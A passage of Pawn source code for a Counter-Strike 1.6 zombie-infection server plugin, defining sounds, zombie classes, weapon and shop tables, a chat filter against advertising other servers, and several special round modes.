· 6 years ago · Sep 25, 2019, 05:24 PM
1s timeUnit_None = 0,
2 timeUnit_Seconds,
3 timeUnit_Minutes,
4 timeUnit_Hours,
5 timeUnit_Days,
6 timeUnit_Weeks,
7 timeUnit_Count
8};
9
10const PRIMARY_WEAPONS_BIT_SUM = (1<<CSW_SCOUT)|(1<<CSW_XM1014)|(1<<CSW_MAC10)|(1<<CSW_AUG)|(1<<CSW_UMP45)|(1<<CSW_SG550)|(1<<CSW_GALIL)|(1<<CSW_FAMAS)|(1<<CSW_AWP)|(1<<CSW_MP5NAVY)|(1<<CSW_M249)|(1<<CSW_M3)|(1<<CSW_M4A1)|(1<<CSW_TMP)|(1<<CSW_G3SG1)|(1<<CSW_SG552)|(1<<CSW_AK47)|(1<<CSW_P90);
11const SECONDARY_WEAPONS_BIT_SUM = (1<<CSW_P228)|(1<<CSW_ELITE)|(1<<CSW_FIVESEVEN)|(1<<CSW_USP)|(1<<CSW_GLOCK18)|(1<<CSW_DEAGLE);
12
13new const g_szDefaultName[ ] = "NewLifeZm.CsOutStanding.Com";
14
15new g_szRestrictedThings[ ][ ] =
16{
17 "cs.",
18 "street",
19 "newlife",
20 "csblackdevil",
21 "<Warrior> Player",
22 "gametracker",
23 "`",
24 "~",
25 ".com",
26 ".net",
27 ".org",
28 ".co",
29 ".info",
30 ".eu",
31 ".ge",
32 ".biz",
33 ".il",
34 ".li",
35 ".ro",
36 ". es",
37 ". fr",
38 ". biz",
39 ". ge",
40 ". eu",
41 ". li",
42 ". il",
43 ". com",
44 ". co",
45 ". net",
46 ". org",
47 ". info",
48 ". br",
49 ". ro",
50 "www",
51 "w w",
52 "w w",
53 "w w",
54 ":27",
55 "goto",
56 "go to",
57 ": 27",
58 ": 2 7",
59 ": 27",
60 ": 2 7",
61 ": 2 7",
62 ": 2",
63 ":29",
64 ": 29",
65 ": 2 9",
66 ": 29",
67 ": 2 9",
68 "89.",
69 "8 9",
70 "8 9",
71 "8 9",
72 "8 9",
73 "8,9.",
74 "8,9 .",
75 "8, 9 .",
76 "89 .",
77 "8 9 .",
78 "188.",
79 "188 .",
80 "1 8 8",
81 ". c o m",
82 "player",
83 ".c om",
84 "http:",
85 "http :",
86 "h t t",
87 "-serv",
88 "hns",
89 "jailbreak",
90 ". 1",
91 ". 1",
92 ". 1",
93 ". 2",
94 ". 2",
95 ". 2",
96 ". 3",
97 ". 3",
98 ". 3",
99 ". 4",
100 ". 4",
101 ". 4",
102 ". 5",
103 ". 5",
104 ". 5",
105 ". 6",
106 ". 6",
107 ". 6",
108 ". 7",
109 ". 7",
110 ". 7",
111 ". 8",
112 ". 8",
113 ". 8",
114 ". 9",
115 ". 9",
116 ". 9",
117 ". 0",
118 ". 0",
119 ". 0",
120 "cutita",
121 "c u t",
122 ". ro",
123 ". ro",
124 ".178",
125 "27015",
126 "connect",
127 "admini f",
128 "admins f",
129 "admin f",
130 "c o n",
131 "c o n",
132 "c on",
133 "c o",
134 "c o",
135 "c o",
136 "c s .",
137 "c s.",
138 "c s .",
139 "c s",
140 "c s",
141 "c s"
142}
143
144new const szObjectives[][] =
145{
146 "func_bomb_target",
147 "info_bomb_target",
148 "info_vip_start",
149 "func_vip_safetyzone",
150 "func_escapezone",
151 "hostage_entity",
152 "monster_scientist",
153 "func_hostage_rescue",
154 "info_hostage_rescue",
155 "env_fog",
156 "env_rain",
157 "env_snow"
158}
159
160new g_pZombieFall[2][0] =
161{
162 "ZombieOutstanding/zombie_hit_01.wav",
163 "ZombieOutstanding/zombie_hit_03.wav"
164};
165
166new g_pZombieHitNormal[4][0] =
167{
168 "weapons/knife_hit1.wav",
169 "weapons/knife_hit2.wav",
170 "weapons/knife_hit3.wav",
171 "weapons/knife_hit4.wav"
172};
173
174new g_pZombieMissSlash[2][0] =
175{
176 "weapons/knife_slash1.wav",
177 "weapons/knife_slash2.wav"
178};
179
180new g_pZombieMissWall[2][0] =
181{
182 "weapons/knife_slash1.wav",
183 "weapons/knife_slash2.wav"
184};
185
186new g_pZombieDieSounds[5][0] =
187{
188 "ZombieOutstanding/zombie_die_01.wav",
189 "ZombieOutstanding/zombie_die_02.wav",
190 "ZombieOutstanding/zombie_die_03.wav",
191 "ZombieOutstanding/zombie_die_04.wav",
192 "ZombieOutstanding/zombie_die_05.wav"
193};
194
195new g_pMonsterHitSounds[3][0] =
196{
197 "ZombieOutstanding/monster_hit_01.wav",
198 "ZombieOutstanding/monster_hit_02.wav",
199 "ZombieOutstanding/monster_hit_03.wav"
200};
201
202new g_pZombieHitSounds[5][0] =
203{
204 "ZombieOutstanding/zombie_hit_01.wav",
205 "ZombieOutstanding/zombie_hit_02.wav",
206 "ZombieOutstanding/zombie_hit_03.wav",
207 "ZombieOutstanding/zombie_hit_04.wav",
208 "ZombieOutstanding/zombie_hit_05.wav"
209};
210
211new g_cZombieInfectSounds[5][0] =
212{
213 "ZombieOutstanding/zombie_infect_01.wav",
214 "ZombieOutstanding/zombie_infect_02.wav",
215 "ZombieOutstanding/zombie_infect_03.wav",
216 "ZombieOutstanding/zombie_infect_04.wav",
217 "ZombieOutstanding/zombie_infect_05.wav"
218};
219
220new g_cEndRoundZombieSounds[4][0] =
221{
222 "ZombieOutstanding/end_round_win_zombies_01.wav",
223 "ZombieOutstanding/end_round_win_zombies_02.wav",
224 "ZombieOutstanding/end_round_win_zombies_03.wav",
225 "ZombieOutstanding/end_round_win_zombies_04.wav"
226};
227new g_cEndRoundHumanSounds[3][0] =
228{
229 "ZombieOutstanding/end_round_win_humans_01.wav",
230 "ZombieOutstanding/end_round_win_humans_02.wav",
231 "ZombieOutstanding/end_round_win_humans_03.wav"
232};
233
234new g_cStartRoundSurvivorSounds[2][0] =
235{
236 "ZombieOutstanding/round_start_survivor_01.wav",
237 "ZombieOutstanding/round_start_survivor_02.wav"
238};
239new g_cStartRoundNemesisSounds[2][0] =
240{
241 "ZombieOutstanding/round_start_nemesis_01.wav",
242 "ZombieOutstanding/round_start_nemesis_02.wav"
243};
244
245new g_cHumanNadeInfectSounds[3][0] =
246{
247 "ZombieOutstanding/human_nade_infect_scream_01.wav",
248 "ZombieOutstanding/human_nade_infect_scream_02.wav",
249 "ZombieOutstanding/human_nade_infect_scream_03.wav"
250};
251
252new g_cZombieBurnSounds[5][0] =
253{
254 "ZombieOutstanding/zombie_burn_01.wav",
255 "ZombieOutstanding/zombie_burn_02.wav",
256 "ZombieOutstanding/zombie_burn_03.wav",
257 "ZombieOutstanding/zombie_burn_04.wav",
258 "ZombieOutstanding/zombie_burn_05.wav"
259};
260new g_cHumanModels[4][0] =
261{
262 "terror",
263 "gign",
264 "sas",
265 "arctic"
266};
267new g_cZombieModels[7][0] =
268{
269 "z_out_clasic",
270 "z_out_raptor",
271 "z_out_mutant",
272 "z_out_tight",
273 "z_out_regenerator",
274 "z_out_predator_blue",
275 "z_out_hunter"
276};
277new g_cZombieClaws[7][0] =
278{
279 "models/ZombieOutstanding/z_out_clasic_claws.mdl",
280 "models/ZombieOutstanding/z_out_raptor_claws.mdl",
281 "models/ZombieOutstanding/z_out_mutant_claws.mdl",
282 "models/ZombieOutstanding/z_out_tight_claws.mdl",
283 "models/ZombieOutstanding/z_out_raptor_claws.mdl",
284 "models/ZombieOutstanding/z_out_predator_blue_claws.mdl",
285 "models/ZombieOutstanding/z_out_hunter_claws.mdl"
286};
287new g_iZombieHealths[7] =
288{
289 6000, 5250, 7500, 4250, 5500, 6000, 5450
290}
291new Float:g_fZombieGravities[7] =
292{
293 1.00, 0.94, 1.09, 0.57, 1.00, 0.74, 0.60
294}
295new Float:g_fZombieSpeeds[7] =
296{
297 264.0, 309.0, 244.0, 259.0, 249.0, 279.0, 274.0
298}
299new Float:g_fZombieKnockbacks[7] =
300{
301 0.82, 1.29, 0.43, 1.0, 0.88, 0.68, 0.83
302}
303new g_cZombieClasses[7][14] =
304{
305 "Clasic",
306 "Raptor",
307 "Mutant",
308 "Tight",
309 "Regenerator",
310 "Predator Blue",
311 "Hunter"
312};
313new g_cZombieAttribs[7][0] =
314{
315 "\r[=Balanced=]",
316 "\r[Speed +++]",
317 "\r[Health +++]",
318 "\r[Double Jump]",
319 "\r[Regeneration]",
320 "\r[Powerful]",
321 "\r[Silent Killer]"
322};
323
324new g_cSecondaryWeapons[6][0] =
325{
326 "USP",
327 "GLOCK18",
328 "P228",
329 "DEAGLE",
330 "ELITE",
331 "FIVESEVEN"
332};
333new g_cPrimaryWeapons[10][0] =
334{
335 "GALIL",
336 "FAMAS",
337 "M4A1",
338 "AK47",
339 "AUG",
340 "SG552",
341 "XM1014",
342 "M3",
343 "MP5NAVY",
344 "P90"
345};
346new g_cSecondaryEntities[6][0] =
347{
348 "weapon_usp",
349 "weapon_glock18",
350 "weapon_p228",
351 "weapon_deagle",
352 "weapon_elite",
353 "weapon_fiveseven"
354};
355new g_cPrimaryEntities[10][0] =
356{
357 "weapon_galil",
358 "weapon_famas",
359 "weapon_m4a1",
360 "weapon_ak47",
361 "weapon_aug",
362 "weapon_sg552",
363 "weapon_xm1014",
364 "weapon_m3",
365 "weapon_mp5navy",
366 "weapon_p90"
367};
368
369new const Float: g_flCoords[8][0] =
370{
371 { 0.50, 0.40 },
372 { 0.56, 0.44 },
373 { 0.60, 0.50 },
374 { 0.56, 0.56 },
375 { 0.50, 0.60 },
376 { 0.44, 0.56 },
377 { 0.40, 0.50 },
378 { 0.44, 0.44 }
379};
380
381new Float:kb_weapon_power[] =
382{
383 -1.0,
384 2.4,
385 -1.0,
386 6.5,
387 -1.0,
388 8.0,
389 -1.0,
390 2.3,
391 5.0,
392 -1.0,
393 2.4,
394 2.0,
395 2.4,
396 5.3,
397 5.5,
398 5.5,
399 2.2,
400 2.0,
401 10.0,
402 2.5,
403 5.2,
404 8.0,
405 5.0,
406 2.4,
407 6.5,
408 -1.0,
409 5.3,
410 5.0,
411 6.0,
412 -1.0,
413 2.0
414}
415
416new const MAXCLIP[] =
417{
418 -1,
419 13,
420 -1,
421 10,
422 1,
423 7,
424 -1,
425 30,
426 30,
427 1,
428 30,
429 20,
430 25,
431 30,
432 35,
433 25,
434 12,
435 20,
436 10,
437 30,
438 100,
439 8,
440 30,
441 30,
442 20,
443 2,
444 7,
445 30,
446 30,
447 -1,
448 50
449};
450
451new const Float:sizez[][3] =
452{
453 {0.0, 0.0, 1.0},
454 {0.0, 0.0, -1.0},
455 {0.0, 1.0, 0.0},
456 {0.0, -1.0, 0.0},
457 {1.0, 0.0, 0.0},
458 {-1.0, 0.0, 0.0},
459 {-1.0, 1.0, 1.0},
460 {1.0, 1.0, 1.0},
461 {1.0, -1.0, 1.0},
462 {1.0, 1.0, -1.0},
463 {-1.0, -1.0, 1.0},
464 {1.0, -1.0, -1.0},
465 {-1.0, 1.0, -1.0},
466 {-1.0, -1.0, -1.0},
467 {0.0, 0.0, 2.0},
468 {0.0, 0.0, -2.0},
469 {0.0, 2.0, 0.0},
470 {0.0, -2.0, 0.0},
471 {2.0, 0.0, 0.0},
472 {-2.0, 0.0, 0.0},
473 {-2.0, 2.0, 2.0},
474 {2.0, 2.0, 2.0},
475 {2.0, -2.0, 2.0},
476 {2.0, 2.0, -2.0},
477 {-2.0, -2.0, 2.0},
478 {2.0, -2.0, -2.0},
479 {-2.0, 2.0, -2.0},
480 {-2.0, -2.0, -2.0},
481 {0.0, 0.0, 3.0},
482 {0.0, 0.0, -3.0},
483 {0.0, 3.0, 0.0},
484 {0.0, -3.0, 0.0},
485 {3.0, 0.0, 0.0},
486 {-3.0, 0.0, 0.0},
487 {-3.0, 3.0, 3.0},
488 {3.0, 3.0, 3.0},
489 {3.0, -3.0, 3.0},
490 {3.0, 3.0, -3.0},
491 {-3.0, -3.0, 3.0},
492 {3.0, -3.0, -3.0},
493 {-3.0, 3.0, -3.0},
494 {-3.0, -3.0, -3.0},
495 {0.0, 0.0, 4.0},
496 {0.0, 0.0, -4.0},
497 {0.0, 4.0, 0.0},
498 {0.0, -4.0, 0.0},
499 {4.0, 0.0, 0.0},
500 {-4.0, 0.0, 0.0},
501 {-4.0, 4.0, 4.0},
502 {4.0, 4.0, 4.0},
503 {4.0, -4.0, 4.0},
504 {4.0, 4.0, -4.0},
505 {-4.0, -4.0, 4.0},
506 {4.0, -4.0, -4.0},
507 {-4.0, 4.0, -4.0},
508 {-4.0, -4.0, -4.0},
509 {0.0, 0.0, 5.0},
510 {0.0, 0.0, -5.0},
511 {0.0, 5.0, 0.0},
512 {0.0, -5.0, 0.0},
513 {5.0, 0.0, 0.0},
514 {-5.0, 0.0, 0.0},
515 {-5.0, 5.0, 5.0},
516 {5.0, 5.0, 5.0},
517 {5.0, -5.0, 5.0},
518 {5.0, 5.0, -5.0},
519 {-5.0, -5.0, 5.0},
520 {5.0, -5.0, -5.0},
521 {-5.0, 5.0, -5.0},
522 {-5.0, -5.0, -5.0}
523};
524
525new g_cShopItems[8][0] =
526{
527 "Double Damage",
528 "Buy Server Slot",
529 "Buy Admin Model",
530 "100 Ammo Packs",
531 "200 Ammo Packs",
532 "300 Ammo Packs",
533 "God Mode",
534 "600 Points"
535};
536new g_iShopItemsPrices[8] =
537{
538 120, 700, 2250, 160, 200, 280, 150, 400
539}
540new g_iShopItemsTeams[8] =
541{
542 2, 0, 0, 0, 0, 0, 2, 0
543}
544new g_cShopItemsPrices[8][0] =
545{
546 "\r[120 points]",
547 "\r[700 points]\y (Recommended)",
548 "\r[2250 points]",
549 "\r[160 points]",
550 "\r[200 points]",
551 "\r[280 points]",
552 "\r[150 points]",
553 "\r[400 ammo packs]\y (Special)"
554};
555
556new g_cExtraItems[25][0] =
557{
558 "Antidote",
559 "Fire Grenade",
560 "Freeze Grenade",
561 "Explosion Grenade",
562 "Infection Grenade",
563 "Killing Grenade",
564 "M249 Machine Gun",
565 "G3SG1 Auto Sniper Rifle",
566 "SG550 Auto Sniper Rifle",
567 "AWP Sniper Rifle",
568 "Nightvision Googles",
569 "Zombie Madness",
570 "Jetpack + Bazooka",
571 "Unlimited Clip",
572 "Armor\y (100ap)",
573 "Armor\y (200ap)",
574 "Multijump +1",
575 "Tryder",
576 "Golden Kalashnikov\y (AK-47)",
577 "Golden Deagle\y (Night Hawk)",
578 "Survivor",
579 "Sniper",
580 "Nemesis",
581 "Assassin",
582 "Knife Blink"
583};
584new g_iExtraItemsPrices[25] =
585{
586 15, 4, 3, 4, 26, 30, 9, 11, 10, 9, 2, 15, 30, 10, 5, 10, 5, 30, 36, 20, 180, 175, 140, 140, 10
587}
588new g_cExtraItemsPrices[25][0] =
589{
590 "\r[15 packs]",
591 "\r[4 packs]",
592 "\r[3 packs]",
593 "\r[4 packs]",
594 "\r[26 packs]",
595 "\r[42 packs]",
596 "\r[9 packs]",
597 "\r[11 packs]",
598 "\r[10 packs]",
599 "\r[9 packs]",
600 "\r[2 packs]",
601 "\r[15 packs]",
602 "\r[30 packs]",
603 "\r[10 packs]",
604 "\r[5 packs]",
605 "\r[10 packs]",
606 "\r[5 packs]",
607 "\r[30 packs]",
608 "\r[36 packs]",
609 "\r[20 packs]",
610 "\r[180 packs]",
611 "\r[175 packs]",
612 "\r[140 packs]",
613 "\r[140 packs]",
614 "\r[10 packs]"
615};
616new g_iExtraItemsTeams[25] =
617{
618 1, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1
619}
620
621new bool:g_bConnected[33], g_cName[33][32], bool:g_bAlive[33], bool:g_bZombie[33], g_iMaxClients, bool:g_bRoundEnd, g_iPlayerType[33], g_iAntidoteSync, g_iZombieNextClass[33], bool:g_bFake[33], g_iZombieClass[33], g_iGameMenu,
622
623g_iMenuZombieClasses, g_iWeapon[33], bool:g_bRoundStart, g_iRoundType, g_iTopMessageSync, g_iRoundsCount, g_iRounds[1024], g_iCounter, g_iCounterMessage, g_iAliveCount, g_iLastMode, Float:g_fLastLeapTime[33], bool:g_bFlash[33],
624
625bool:g_bFlashEnabled[33], Float:g_fLastTime[33], g_iSecondaryMenu, g_iPrimaryMenu, g_iSecondaryWeapons[64], g_iPrimaryWeapons[64], bool:g_bNoDamage[33], g_iPosition[33], g_bFrozen[33], g_iJumps[33], g_iMaxJumps[33], g_iPacks[33],
626
627Float:g_fDamage[33], g_iShopMenu, g_iPoints[33], g_iCenterMessageSync, g_iDownMessageSync, g_cClass[33][14], FreezeTime, g_iMenu, g_iVersusSync, Array:g_aNameData, Array:g_aAmmoData, g_iShopEventHudmessage, bool:g_bDoubleDamage[33],
628
629bool:g_bServerSlot[33], bool:g_bAdminModel[33], g_iMenuExtraItems, Float:g_fLastChangedModel, g_bUnlimitedClip[33], bool:g_bTryder[33], g_iEventsHudmessage, g_iSurvivors, g_iModeRecordings, g_cModeRecordings[52][32], Float:g_fRoundStartTime,
630
631g_iSnipers, g_iBlinks[33], Float:g_fGagTime[33], bool:g_bGolden[33], bool:g_bGoldenDeagle[33], SpriteTexture, bool:g_bGaveThisRound[33], iFwSpawnHook, g_iLaser, Array:g_vname, Array:g_vflags, Array:g_vpwd,
632
633bool:g_vip[33], g_vip_flags[33][32], jumpnum[33] = 0, bool:dojump[33] = false, ExploSpr, FlameSpr, SmokeSpr, GlassSpr, HExplode, g_iBurningDuration[33], TrailSpr, bool:g_bKilling[33], on_stuck[33], g_iTripMines[ 33 ], g_iPlantedMines[ 33 ], g_iPlanting[ 33 ],
634
635g_iRemoving[ 33 ], g_hExplode, g_iMineMessage, g_iSecondMineMessage, g_iKillsThisRound[33], g_cQuery[256], bool:g_bRanked[33], Float:g_fLastRankQuery, g_iRemainingSync, SwitchingTeam, bool:g_bModeStarted, g_iRegenerationSync, g_roundend, g_iOffset[ 33 ][ 2 ],
636
637g_iArgumentPing[ 33 ][ 3 ], g_iPingOverride[ 33 ] = { -1, ... }, g_iPing, g_iFlux, g_ip[33][64], g_steam[33][64], g_iEnemy[33], Float:g_fLastSlash[33], g_iCanceled[33], g_iSlash[33], g_iInBlink[33], g_cPlayerAddress[33][24], g_cLNames[10][32], Float:g_fLast[33],
638
639g_iSize, g_iTracker, g_cAddresses[10][24], g_cNames[10][32], g_iVariable, g_iTimeLimit, g_iAdvertisementsCount, g_cHudAdvertisements[50][188], g_iHudAdvertisementsCount, g_iMessage, g_iHudMessage, g_cAdvertisements[72][188], g_vault=-1, TaskReward[33],
640
641Float:TeamsTargetTime, g_city[33][64], g_country[33][64];
642
643static Handle:g_Tuple = Empty_Handle;
644static g_Query[1024] = { 0, ... };
645static g_Name[33][64];
646static g_Steam[33][64];
647static g_Ip[33][64];
648static g_seenString[33][64];
649static g_timeString[33][64];
650static g_Time[33] = { 0, ... };
651static g_Score[33] = { 0, ... };
652static g_Seen[33] = { 0, ... };
653static g_Kills[33] = { 0, ... };
654static g_Deaths[33] = { 0, ... };
655static g_headShots[33] = { 0, ... };
656static g_kmdValue[33] = { 0, ... };
657static Float:g_kpdRatio[33] = { 0.0, ... };
658static g_recordsCount = 0;
659
660StartSwarmMode(bool:bForced)
661{
662 if ((g_iAliveCount > 9 && g_iLastMode != 64 && random_num(1, 22) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
663 {
664 g_iLastMode = 64;
665 g_iRoundType = g_iRoundType | 64;
666 static i;
667 i = 1;
668 while (g_iMaxClients + 1 > i)
669 {
670 if (!g_bAlive[i] || fm_cs_get_user_team(i) == FM_CS_TEAM_CT)
671 {
672 remove_task(i + TASK_TEAM);
673 fm_cs_set_user_team(i, FM_CS_TEAM_CT);
674 fm_user_team_update(i);
675 }
676 else
677 {
678 MakeZombie(0, i, true, false, false);
679 }
680 i += 1;
681 }
682 client_cmd(0, "spk ZombieOutstanding/round_start_plague");
683 set_hudmessage(20, 255, 20, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
684 ShowSyncHudMsg(0, g_iTopMessageSync, "Swarm Round !!");
685 remove_task(600, 0);
686 set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
687 g_bModeStarted = true;
688 return 0;
689 }
690 StartPlagueMode(false);
691 return 0;
692}
693
694StartPlagueMode(bool:bForced)
695{
696 if ((g_iAliveCount > 9 && g_iLastMode != 32 && random_num(1, 28) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
697 {
698 g_iLastMode = 32;
699 g_iRoundType = g_iRoundType | 32;
700 static iNemesis;
701 static iMaxNemesis;
702 static i;
703 static iMaxSurvivors;
704 static iSurvivors;
705 static iMaxZombies;
706 static iZombies;
707 iMaxSurvivors = 3;
708 iMaxNemesis = 2;
709 iZombies = 0;
710 iNemesis = 0;
711 iSurvivors = 0;
712 while (iSurvivors < iMaxSurvivors)
713 {
714 i = GetRandomAlive();
715 if (!(g_iPlayerType[i] & 4))
716 {
717 MakeHuman(i, true, false);
718 iSurvivors += 1;
719 set_user_health(i, 5750);
720 }
721 }
722 while (iNemesis < iMaxNemesis)
723 {
724 i = GetRandomAlive();
725 if (!(g_iPlayerType[i] & 4 || g_iPlayerType[i] & 1))
726 {
727 MakeZombie(0, i, false, true, false);
728 iNemesis += 1;
729 set_user_health(i, 107500);
730 }
731 }
732 iMaxZombies = floatround(0.40 * g_iAliveCount + -5, floatround_floor);
733 while (iZombies < iMaxZombies)
734 {
735 i += 1;
736 if (i > g_iMaxClients)
737 {
738 i = 1;
739 }
740 if (!(!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 4))
741 {
742 if (random_num(0, 1))
743 {
744 MakeZombie(0, i, true, false, false);
745 iZombies += 1;
746 }
747 }
748 }
749 i = 1;
750 while (g_iMaxClients + 1 > i)
751 {
752 if (!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 4)
753 {
754 }
755 else
756 {
757 if (fm_cs_get_user_team(i) == FM_CS_TEAM_CT)
758 {
759 remove_task ( i + TASK_TEAM );
760 fm_cs_set_user_team ( i, FM_CS_TEAM_CT);
761 fm_user_team_update ( i );
762 }
763 }
764 i += 1;
765 }
766 client_cmd(0, "spk ZombieOutstanding/round_start_plague");
767 set_hudmessage(0, 50, 200, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
768 ShowSyncHudMsg(0, g_iTopMessageSync, "Plague Round !!");
769 remove_task(600, 0);
770 set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
771 g_bModeStarted = true;
772 return 0;
773 }
774 StartMultiMode(false);
775 return 0;
776}
777
778StartMultiMode(bool:bForced)
779{
780 if ((g_iAliveCount > 9 && g_iLastMode != 16 && random_num(1, 24) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
781 {
782 g_iLastMode = 16;
783 g_iRoundType = g_iRoundType | 16;
784 static i;
785 static iMaxZombies;
786 static iZombies;
787 iZombies = 0;
788 iMaxZombies = floatround(0.18 * g_iAliveCount, floatround_ceil);
789 i = random_num(1, g_iMaxClients);
790 while ( iZombies < iMaxZombies )
791 {
792 if ( ++ i > g_iMaxClients ) i = 1;
793
794 if ( !g_bAlive [i] || g_bZombie [i] ) continue;
795
796 if ( random_num ( 0, 1 ) )
797 {
798 MakeZombie(0, i, true, false, false);
799
800 iZombies ++;
801 }
802 }
803 for ( i = 1; i <= g_iMaxClients; i ++ )
804 {
805 if ( !g_bAlive [i] || g_bZombie [i] ) continue;
806
807 if ( fm_cs_get_user_team ( i ) != FM_CS_TEAM_CT )
808 {
809 remove_task ( i + TASK_TEAM );
810 fm_cs_set_user_team ( i, FM_CS_TEAM_CT );
811 fm_user_team_update ( i );
812 }
813 }
814 client_cmd(0, "spk ZombieOutstanding/round_start_plague");
815 set_hudmessage(200, 50, 0, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
816 ShowSyncHudMsg(0, g_iTopMessageSync, "Multiple Infections !!");
817 remove_task(600, 0);
818 set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
819 g_bModeStarted = true;
820 return 0;
821 }
822 StartArmageddonMode(false);
823 return 0;
824}
825
826StartArmageddonMode(bool:bForced)
827{
828 if ((g_iAliveCount > 9 && g_iLastMode != 128 && random_num(1, 33) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
829 {
830 g_iLastMode = 128;
831 g_iRoundType = g_iRoundType | 128;
832 static i;
833 static iMaxZombies;
834 static iZombies;
835 iZombies = 0;
836 iMaxZombies = floatround(0.44 * g_iAliveCount, floatround_floor);
837 i = random_num(1, g_iMaxClients);
838 while (iZombies < iMaxZombies)
839 {
840 i += 1;
841 if (i > g_iMaxClients)
842 {
843 i = 1;
844 }
845 if (!(!g_bAlive[i] || g_bZombie[i]))
846 {
847 if (random_num(0, 1))
848 {
849 MakeZombie(0, i, false, true, false);
850 set_user_health(i, 100000);
851 iZombies += 1;
852 }
853 }
854 }
855 i = 1;
856 while (g_iMaxClients + 1 > i)
857 {
858 if (!g_bAlive[i] || g_bZombie[i])
859 {
860 }
861 else
862 {
863 MakeHuman(i, true, false);
864 set_user_health(i, 8750);
865 }
866 i += 1;
867 }
868 if (random_num(0, 1))
869 {
870 client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
871 }
872 else
873 {
874 client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
875 }
876 set_hudmessage(181, 62, 244, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
877 ShowSyncHudMsg(0, g_iTopMessageSync, "Armageddon Round !!");
878 remove_task(600, 0);
879 set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
880 g_bModeStarted = true;
881 return 0;
882 }
883 StartNightmareMode(false);
884 return 0;
885}
886
887StartNightmareMode(bool:bForced)
888{
889 if ((g_iAliveCount > 9 && g_iLastMode != 256 && random_num(1, 36) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
890 {
891 g_iLastMode = 256;
892 g_iRoundType = g_iRoundType | 256;
893 static i;
894 static iMaxAssassins;
895 static iAssassins;
896 static iMaxSnipers;
897 static iSnipers;
898 static iMaxNemesis;
899 static iNemesis;
900 iAssassins = 0;
901 iSnipers = 0;
902 iNemesis = 0;
903 iMaxNemesis = floatround(0.24 * g_iAliveCount, floatround_floor);
904 iMaxAssassins = floatround(0.24 * g_iAliveCount, floatround_floor);
905 iMaxSnipers = floatround(0.25 * g_iAliveCount, floatround_ceil);
906 i = random_num(1, g_iMaxClients);
907 while (iNemesis < iMaxNemesis)
908 {
909 i += 1;
910 if (i > g_iMaxClients)
911 {
912 i = 1;
913 }
914 if (!(!g_bAlive[i] || g_bZombie[i]))
915 {
916 if (random_num(0, 1))
917 {
918 MakeZombie(0, i, false, true, false);
919 set_user_health(i, 105000);
920 iNemesis += 1;
921 }
922 }
923 }
924 while (iAssassins < iMaxAssassins)
925 {
926 i += 1;
927 if (i > g_iMaxClients)
928 {
929 i = 1;
930 }
931 if (!(!g_bAlive[i] || g_bZombie[i]))
932 {
933 if (random_num(0, 1))
934 {
935 MakeZombie(0, i, false, false, true);
936 set_user_health(i, 21000);
937 iAssassins += 1;
938 }
939 }
940 }
941 while (iSnipers < iMaxSnipers)
942 {
943 i += 1;
944 if (i > g_iMaxClients)
945 {
946 i = 1;
947 }
948 if (!(!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 8))
949 {
950 if (random_num(0, 1))
951 {
952 MakeHuman(i, false, true);
953 set_user_health(i, 10500);
954 iSnipers += 1;
955 }
956 }
957 }
958 i = 1;
959 while (g_iMaxClients + 1 > i)
960 {
961 if (!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 8 || g_iPlayerType[i] & 4)
962 {
963 }
964 else
965 {
966 MakeHuman(i, true, false);
967 set_user_health(i, 12500);
968 }
969 i += 1;
970 }
971 if (random_num(0, 1))
972 {
973 client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
974 }
975 else
976 {
977 client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
978 }
979 set_hudmessage(241, 15, 244, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
980 ShowSyncHudMsg(0, g_iTopMessageSync, "Nightmare Round !!");
981 remove_task(600, 0);
982 set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
983 g_bModeStarted = true;
984 return 0;
985 }
986 StartAssassinsVsSnipersMode(false);
987 return 0;
988}
989
990StartAssassinsVsSnipersMode(bool:bForced)
991{
992 if ((g_iAliveCount > 9 && g_iLastMode != 512 && random_num(1, 37) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
993 {
994 g_iLastMode = 512;
995 g_iRoundType = g_iRoundType | 512;
996 static i;
997 i = 1;
998 while (g_iMaxClients + 1 > i)
999 {
1000 if (g_bAlive[i])
1001 {
1002 switch (fm_cs_get_user_team(i))
1003 {
1004 case 1:
1005 {
1006 MakeZombie(0, i, false, false, true);
1007 set_user_health(i, 31000);
1008 }
1009 case 2:
1010 {
1011 MakeHuman(i, false, true);
1012 set_user_health(i, 3850);
1013 }
1014 default:
1015 {
1016 }
1017 }
1018 }
1019 i += 1;
1020 }
1021 if (random_num(0, 1))
1022 {
1023 client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
1024 }
1025 else
1026 {
1027 client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
1028 }
1029 set_hudmessage(221, 13, 64, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
1030 ShowSyncHudMsg(0, g_iTopMessageSync, "Assassins vs Snipers Round !!");
1031 remove_task(600, 0);
1032 set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
1033 g_bModeStarted = true;
1034 return 0;
1035 }
1036 static cTime[4];
1037 get_time("%H", cTime, 3);
1038 if (cTime[0] != 48)
1039 {
